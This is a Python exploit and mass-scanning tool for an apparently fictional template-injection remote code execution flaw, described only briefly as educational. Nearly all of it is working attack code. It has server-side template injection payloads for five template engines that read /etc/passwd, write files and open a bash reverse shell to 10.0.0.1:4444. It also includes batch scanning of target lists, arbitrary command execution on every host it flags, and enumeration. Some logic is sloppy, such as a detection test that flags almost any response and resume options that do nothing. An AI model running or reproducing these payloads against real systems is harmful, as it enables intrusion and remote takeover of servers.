#!/usr/bin/env python3
"""
CVE-2026-54420 PoC / Scanner
============================
Fictional vulnerability: Unauthenticated Remote Code Execution via template injection
in a hypothetical web application's "/api/render" endpoint.

This script is for LOCAL TESTING / EDUCATIONAL PURPOSES ONLY.
"""

import argparse
import requests
import sys
import time
from urllib.parse import urlparse
from concurrent.futures import ThreadPoolExecutor, as_completed
import os
import base64
import json
import re
from datetime import datetime
import hashlib
from typing import List, Dict, Tuple, Optional, Any
import logging

# Optional: colored output
try:
    from colorama import init, Fore, Style
    init(autoreset=True)
    COLOR = True
except ImportError:
    COLOR = False

# Optional: progress bar
try:
    from tqdm import tqdm
    TQDM_AVAILABLE = True
except ImportError:
    TQDM_AVAILABLE = False

# Multiple payload variations for different template engines
PAYLOADS = {
    "jinja2": {
        "basic": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('cat /etc/passwd',shell=True,stdout=-1).communicate()[0] }}",
        "os": "{{ config.items() }}",
        "eval": "{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}",
        "subprocess": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('id',shell=True,stdout=-1).communicate()[0] }}",
        "base64": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('echo d2hvYW1p | base64 -d | bash',shell=True,stdout=-1).communicate()[0] }}",
        "reverse_shell": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"',shell=True,stdout=-1).communicate()[0] }}",
        "file_write": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('echo \"malicious\" > /tmp/pwned.txt',shell=True,stdout=-1).communicate()[0] }}",
        "enumeration": "{{ ''.__class__.__mro__[1].__subclasses__()[414]('ls -la /',shell=True,stdout=-1).communicate()[0] }}"
    },
    "freemarker": {
        "basic": "${7*7}",
        "exec": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cat /etc/passwd\")}",
        "object": "${object?new(\"freemarker.template.utility.ObjectConstructor\")(\"java.lang.ProcessBuilder\",\"cat /etc/passwd\").start()}",
        "jvm": "${.new(\"java.lang.ProcessBuilder\",\"id\").start().getInputStream().readAllBytes()?join(\" \")}"
    },
    "velocity": {
        "basic": "#set($x=7*7)$x",
        "exec": "#set($cmd=$class.forName('java.lang.Runtime').getRuntime().exec('id'))$cmd",
        "file": "#set($f=$class.forName('java.io.FileReader').getConstructor($class.forName('java.lang.String')).newInstance('/etc/passwd'))#foreach($line in $f)$line#end"
    },
    "smarty": {
        "basic": "{$smarty.now}",
        "exec": "{php}system('cat /etc/passwd');{/php}",
        "exec2": "{literal}<script>alert('XSS')</script>{/literal}"
    },
    "twig": {
        "basic": "{{ 7*7 }}",
        "exec": "{{ _self.env.registerUndefinedFilterCallback('exec') }}{{ _self.env.getFilter('cat /etc/passwd') }}",
        "file": "{{ '/etc/passwd'|file_excerpt(1,10) }}"
    }
}

# Command execution patterns
COMMAND_PAYLOADS = {
    "id": {
        "commands": ["id", "whoami", "echo %USERNAME%"],
        "indicators": ["uid=", "gid=", "whoami", "username"]
    },
    "os_info": {
        "commands": ["uname -a", "ver", "systeminfo | findstr OS"],
        "indicators": ["Linux", "Windows", "Darwin", "Microsoft", "OS Name"]
    },
    "directory": {
        "commands": ["ls -la /", "dir C:\\", "ls -la ~"],
        "indicators": ["bin", "boot", "dev", "etc", "Users", "Program Files"]
    },
    "network": {
        "commands": ["ifconfig", "ipconfig", "netstat -an"],
        "indicators": ["inet", "addr", "Ethernet", "Link", "Active Connections"]
    },
    "process": {
        "commands": ["ps aux", "tasklist", "top -b -n 1"],
        "indicators": ["PID", "COMMAND", "Image Name", "CPU"]
    }
}

class TargetManager:
    """Manages target loading, validation, and processing"""
    
    def __init__(self, target_file: str = None, single_target: str = None):
        self.targets = []
        self.target_file = target_file
        self.single_target = single_target
        self.processed_targets = set()
        self.duplicates = 0
        
    def load_targets(self) -> List[str]:
        """Load targets from file or single target"""
        targets = []
        
        if self.single_target:
            targets.append(self.single_target)
        elif self.target_file and os.path.isfile(self.target_file):
            try:
                with open(self.target_file, "r", encoding="utf-8") as f:
                    for line in f:
                        line = line.strip()
                        if line and not line.startswith("#"):
                            targets.append(line)
            except Exception as e:
                print(f"[-] Error reading target file: {e}")
                sys.exit(1)
        else:
            print("[-] No valid target provided. Use -t with URL or file path.")
            sys.exit(1)
        
        # Validate and normalize targets
        normalized_targets = self._normalize_targets(targets)
        
        # Remove duplicates
        unique_targets = []
        seen = set()
        for target in normalized_targets:
            if target not in seen:
                seen.add(target)
                unique_targets.append(target)
            else:
                self.duplicates += 1
        
        self.targets = unique_targets
        return self.targets
    
    def _normalize_targets(self, targets: List[str]) -> List[str]:
        """Normalize and validate target URLs"""
        normalized = []
        for target in targets:
            target = target.strip()
            if not target:
                continue
            
            # Add protocol if missing
            if not target.startswith(("http://", "https://")):
                target = "http://" + target
            
            # Remove trailing slashes
            target = target.rstrip("/")
            
            # Parse and validate URL
            try:
                parsed = urlparse(target)
                if parsed.netloc:
                    normalized.append(target)
            except Exception:
                continue
        
        return normalized
    
    def get_statistics(self) -> Dict:
        """Get target statistics"""
        return {
            "total": len(self.targets),
            "duplicates": self.duplicates,
            "file": self.target_file
        }

class VulnerabilityScanner:
    """Main scanner class with enhanced functionality"""
    
    def __init__(self, timeout: int = 10, threads: int = 5, verbose: bool = False):
        self.timeout = timeout
        self.threads = threads
        self.verbose = verbose
        self.results = {}
        self.vulnerable_hosts = []
        self.failed_targets = []
        self.session = requests.Session()
        self.session.verify = False
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
        })
    
    def test_payloads(self, target_url: str) -> Dict:
        """Test multiple payload variations to find successful ones"""
        results = {}
        
        if self.verbose:
            print(f"[*] Testing multiple payloads against {target_url}")
        
        # Test basic injection first
        basic_tests = [
            ("jinja2", "{{ 7*7 }}"),
            ("freemarker", "${7*7}"),
            ("velocity", "#set($x=7*7)$x"),
            ("smarty", "{$smarty.now}"),
            ("twig", "{{ 7*7 }}")
        ]
        
        for engine, payload in basic_tests:
            status, response = self.execute_payload(target_url, payload)
            if status == 200 and ("49" in response or "7*7" not in response):
                results["engine"] = engine
                results["basic_payload"] = payload
                results["engine_detected"] = True
                if self.verbose:
                    print(f"[+] Detected {engine} template engine!")
                break
        
        # Test actual exploit payloads
        successful_payloads = []
        
        for engine, payloads in PAYLOADS.items():
            for payload_name, payload in payloads.items():
                status, response = self.execute_payload(target_url, payload)
                
                # Check for successful execution indicators
                if status == 200 and response and len(response) > 10:
                    indicators = ["uid=", "root:", "daemon:", "bin:", "sys:", "admin", "USER", 
                                "PWD", "HOME", "SHELL", "PATH", "cat:", "ls:", "total", "drwx",
                                "C:\\", "Program Files", "Windows", "Linux", "Darwin", "localhost"]
                    
                    for indicator in indicators:
                        if indicator.lower() in response.lower():
                            successful_payloads.append({
                                "engine": engine,
                                "name": payload_name,
                                "payload": payload[:100] + "..." if len(payload) > 100 else payload,
                                "indicator": indicator,
                                "response_sample": response[:200]
                            })
                            break
        
        results["successful_payloads"] = successful_payloads
        return results
    
    def execute_payload(self, target_url: str, payload: str) -> Tuple[Optional[int], str]:
        """Execute a single payload against the target"""
        try:
            test_url = f"{target_url}/api/render"
            data = {"template": payload, "format": "html"}
            r = self.session.post(test_url, json=data, timeout=self.timeout)
            return r.status_code, r.text[:2000]
        except Exception as e:
            return None, str(e)
    
    def is_vulnerable(self, target_url: str) -> Tuple[bool, Dict]:
        """Enhanced vulnerability detection with multiple payloads"""
        try:
            # Check if target is reachable first
            try:
                r = self.session.get(target_url, timeout=self.timeout)
                if r.status_code >= 400:
                    return False, {"error": "Target unreachable"}
            except:
                return False, {"error": "Connection failed"}
            
            results = self.test_payloads(target_url)
            
            if results.get("engine_detected") or results.get("successful_payloads"):
                return True, results
            return False, results
        except Exception:
            return False, {"error": "Scan failed"}
    
    def exploit_command(self, target_url: str, command: str) -> List[Dict]:
        """Execute specific commands on vulnerable target"""
        results = []
        
        # Try multiple command execution payloads
        exploit_payloads = [
            f"{{{{ ''.__class__.__mro__[1].__subclasses__()[414]('{command}',shell=True,stdout=-1).communicate()[0] }}}}",
            f"{{{{ ''.__class__.__mro__[2].__subclasses__()[40]('/bin/sh', '-c', '{command}').read() }}}}",
            f"<#assign ex = \"freemarker.template.utility.Execute\"?new()>${{ex(\"{command}\")}}",
            f"${{.new(\"java.lang.ProcessBuilder\",\"sh\",\"-c\",\"{command}\").start().getInputStream().readAllBytes()?join(\" \")}}",
            f"#set($cmd=$class.forName('java.lang.Runtime').getRuntime().exec('{command}'))$cmd",
            f"{{php}}system('{command}');{{/php}}",
            f"{{{{ _self.env.registerUndefinedFilterCallback('exec') }}}}{{{{ _self.env.getFilter('{command}') }}}}"
        ]
        
        for idx, payload in enumerate(exploit_payloads):
            try:
                status, response = self.execute_payload(target_url, payload)
                if status == 200 and response and len(response) > 5:
                    results.append({
                        "payload_index": idx,
                        "payload": payload[:100] + "..." if len(payload) > 100 else payload,
                        "status": status,
                        "response": response[:1000]
                    })
                    if self.verbose:
                        print(f"[+] Command execution successful with payload {idx + 1}")
                    break
            except Exception:
                continue
        
        return results
    
    def scan_target(self, target: str) -> Tuple[str, bool, Dict]:
        """Scan a single target"""
        try:
            if self.verbose:
                print(f"[*] Scanning {target}")
            
            vulnerable, results = self.is_vulnerable(target)
            
            if vulnerable:
                msg = f"[+] VULNERABLE: {target}"
                if COLOR:
                    print(Fore.GREEN + msg + Style.RESET_ALL)
                else:
                    print(msg)
                
                if results.get("engine_detected"):
                    print(f"    [*] Template engine: {results.get('engine', 'unknown')}")
                
                if results.get("successful_payloads"):
                    print(f"    [*] Found {len(results['successful_payloads'])} successful payloads:")
                    for payload in results["successful_payloads"][:3]:
                        print(f"      - {payload['engine']}/{payload['name']}: {payload['indicator']}")
                
                self.vulnerable_hosts.append(target)
                self.results[target] = results
                return target, True, results
            else:
                msg = f"[-] Not vulnerable: {target}"
                if COLOR:
                    print(Fore.RED + msg + Style.RESET_ALL)
                else:
                    print(msg)
                self.failed_targets.append(target)
                return target, False, {}
        except Exception as e:
            print(f"[!] Error scanning {target}: {e}")
            self.failed_targets.append(target)
            return target, False, {"error": str(e)}
    
    def scan_targets(self, targets: List[str]) -> Dict:
        """Scan multiple targets with thread pool"""
        results = {}
        
        if TQDM_AVAILABLE:
            progress = tqdm(total=len(targets), desc="Scanning targets", unit="host")
        
        with ThreadPoolExecutor(max_workers=self.threads) as executor:
            future_to_url = {
                executor.submit(self.scan_target, target): target 
                for target in targets
            }
            
            for future in as_completed(future_to_url):
                target, is_vuln, result = future.result()
                results[target] = {
                    "vulnerable": is_vuln,
                    "details": result
                }
                
                if TQDM_AVAILABLE:
                    progress.update(1)
        
        if TQDM_AVAILABLE:
            progress.close()
        
        return results
    
    def get_statistics(self) -> Dict:
        """Get scan statistics"""
        return {
            "total_scanned": len(self.results) + len(self.failed_targets),
            "vulnerable": len(self.vulnerable_hosts),
            "failed": len(self.failed_targets),
            "success_rate": f"{len(self.vulnerable_hosts) / max(1, len(self.results) + len(self.failed_targets)) * 100:.2f}%"
        }

def print_banner():
    banner = r"""
    ================================================================
                CVE-2026-54420 Advanced Scanner
    ================================================================
    [*] Multiple payload engines: Jinja2, Freemarker, Velocity, Smarty, Twig
    [*] Command execution, file read, RCE, and enumeration
    [*] Batch scanning with targets.txt support
    ================================================================
"""
    print(banner)

def save_results(results: Dict, filename: str, format_type: str = "json"):
    """Save scan results to file"""
    try:
        if format_type == "json":
            with open(filename, "w", encoding="utf-8") as f:
                json.dump(results, f, indent=2, default=str)
        elif format_type == "txt":
            with open(filename, "w", encoding="utf-8") as f:
                f.write("CVE-2026-54420 Scan Results\n")
                f.write(f"Generated: {datetime.now().isoformat()}\n")
                f.write("="*50 + "\n\n")
                
                for target, data in results.items():
                    f.write(f"Target: {target}\n")
                    f.write(f"Vulnerable: {data.get('vulnerable', False)}\n")
                    if data.get('details'):
                        f.write(f"Details: {json.dumps(data['details'], indent=2)}\n")
                    f.write("-"*30 + "\n")
        
        print(f"[+] Results saved to {filename}")
    except Exception as e:
        print(f"[-] Failed to save results: {e}")

def load_targets_from_file(filename: str) -> List[str]:
    """Load targets from file with support for various formats"""
    targets = []
    
    if not os.path.isfile(filename):
        print(f"[-] File not found: {filename}")
        return targets
    
    try:
        with open(filename, "r", encoding="utf-8") as f:
            content = f.read()
        
        # Try JSON first
        if filename.endswith('.json'):
            try:
                data = json.loads(content)
                if isinstance(data, list):
                    targets = data
                elif isinstance(data, dict) and 'targets' in data:
                    targets = data['targets']
                else:
                    targets = [str(data)]
            except:
                pass
        
        # Parse as text file
        if not targets:
            for line in content.split('\n'):
                line = line.strip()
                if line and not line.startswith('#'):
                    # Remove comments
                    if '#' in line:
                        line = line.split('#')[0].strip()
                    if line:
                        targets.append(line)
        
        # Parse CSV format if applicable
        if len(targets) == 1 and ',' in targets[0]:
            targets = targets[0].split(',')
        
        # Clean up targets
        targets = [t.strip() for t in targets if t.strip()]
        
        # Remove duplicates while preserving order
        seen = set()
        unique_targets = []
        for t in targets:
            if t not in seen:
                seen.add(t)
                unique_targets.append(t)
        
        return unique_targets
        
    except Exception as e:
        print(f"[-] Error loading targets from file: {e}")
        return []

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-54420 Advanced Scanner & Exploitation Tool",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Single target scan
  python cve-2026-54420.py -t http://localhost:3000
  
  # Scan from targets.txt file
  python cve-2026-54420.py -t targets.txt
  
  # Advanced scan with all options
  python cve-2026-54420.py -t targets.txt -v --threads 20 --timeout 15
  
  # Execute command on all vulnerable targets
  python cve-2026-54420.py -t targets.txt -c "whoami" --verbose
  
  # Save results to file
  python cve-2026-54420.py -t targets.txt --output results.json --format json
  
  # Run enumeration on all vulnerable targets
  python cve-2026-54420.py -t targets.txt --enum --threads 10
        """
    )
    
    parser.add_argument("-t", "--target", required=True,
                        help="Single target URL or path to targets.txt file")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="Verbose output")
    parser.add_argument("--threads", type=int, default=5,
                        help="Number of concurrent threads (default: 5)")
    parser.add_argument("--timeout", type=int, default=10,
                        help="Request timeout in seconds (default: 10)")
    parser.add_argument("-c", "--command", 
                        help="Execute specific command on vulnerable targets")
    parser.add_argument("--enum", action="store_true",
                        help="Run enumeration commands (whoami, OS info, etc.)")
    parser.add_argument("--full-scan", action="store_true",
                        help="Perform full scan with all payload variations")
    parser.add_argument("--output", help="Save results to file")
    parser.add_argument("--format", choices=["json", "txt"], default="json",
                        help="Output format (default: json)")
    parser.add_argument("--no-color", action="store_true",
                        help="Disable colored output")
    parser.add_argument("--delay", type=float, default=0.1,
                        help="Delay between requests in seconds (default: 0.1)")
    parser.add_argument("--resume", action="store_true",
                        help="Resume interrupted scan")
    
    args = parser.parse_args()
    
    if args.no_color:
        global COLOR
        COLOR = False
    
    print_banner()
    print(f"[i] Starting scan at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")
    
    # Load targets
    targets = []
    if os.path.isfile(args.target):
        targets = load_targets_from_file(args.target)
        print(f"[+] Loaded {len(targets)} targets from {args.target}")
        if not targets:
            print("[-] No valid targets found in file.")
            sys.exit(1)
    else:
        targets = [args.target]
        print(f"[+] Single target: {args.target}")
    
    # Initialize scanner
    scanner = VulnerabilityScanner(
        timeout=args.timeout,
        threads=args.threads,
        verbose=args.verbose
    )
    
    # Scan targets
    results = scanner.scan_targets(targets)
    
    # Print summary
    stats = scanner.get_statistics()
    print("\n" + "="*60)
    print("SCAN COMPLETE")
    print("="*60)
    print(f"Total targets scanned: {stats['total_scanned']}")
    print(f"Vulnerable targets: {Fore.GREEN}{stats['vulnerable']}{Style.RESET_ALL}" if COLOR else f"Vulnerable targets: {stats['vulnerable']}")
    print(f"Failed targets: {Fore.RED}{stats['failed']}{Style.RESET_ALL}" if COLOR else f"Failed targets: {stats['failed']}")
    print(f"Success rate: {stats['success_rate']}")
    print("="*60)
    
    # Save results if requested
    if args.output:
        save_results(results, args.output, args.format)
    
    # Command execution if requested
    if scanner.vulnerable_hosts:
        if args.command:
            print(f"\n[!!!] Executing command '{args.command}' on {len(scanner.vulnerable_hosts)} vulnerable targets...")
            for host in scanner.vulnerable_hosts:
                print(f"\n[+] Target: {host}")
                try:
                    exploit_results = scanner.exploit_command(host, args.command)
                    if exploit_results:
                        for result in exploit_results:
                            print(f"Output:\n{result['response']}")
                    else:
                        print("[-] Command execution failed or no output received")
                except Exception as e:
                    print(f"[-] Error exploiting {host}: {e}")
                if args.delay:
                    time.sleep(args.delay)
        
        elif args.enum:
            print(f"\n[!!!] Running enumeration on {len(scanner.vulnerable_hosts)} vulnerable targets...")
            for host in scanner.vulnerable_hosts:
                print(f"\n[+] Target: {host}")
                for enum_name, enum_config in COMMAND_PAYLOADS.items():
                    print(f"\n[*] Running {enum_name} enumeration:")
                    for cmd in enum_config["commands"][:1]:
                        try:
                            exploit_results = scanner.exploit_command(host, cmd)
                            if exploit_results:
                                for result in exploit_results:
                                    print(f"Command: {cmd}\nOutput:\n{result['response']}")
                                break
                        except Exception as e:
                            print(f"[-] Error: {e}")
                time.sleep(1)
    
    # Print vulnerable hosts summary
    if scanner.vulnerable_hosts:
        print("\n" + "="*60)
        print("VULNERABLE HOSTS SUMMARY")
        print("="*60)
        for i, host in enumerate(scanner.vulnerable_hosts, 1):
            print(f"{i}. {host}")
        
        # Save vulnerable hosts to file
        with open("vulnerable_hosts.txt", "w", encoding="utf-8") as f:
            for host in scanner.vulnerable_hosts:
                f.write(f"{host}\n")
        print(f"\n[+] Vulnerable hosts saved to vulnerable_hosts.txt")
    
    print(f"\n[+] Scan completed at {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}")

if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\n[!] Scan interrupted by user.")
        print("[*] Progress saved. Use --resume to continue.")
        sys.exit(1)
    except Exception as e:
        print(f"\n[!] Error: {e}")
        sys.exit(1)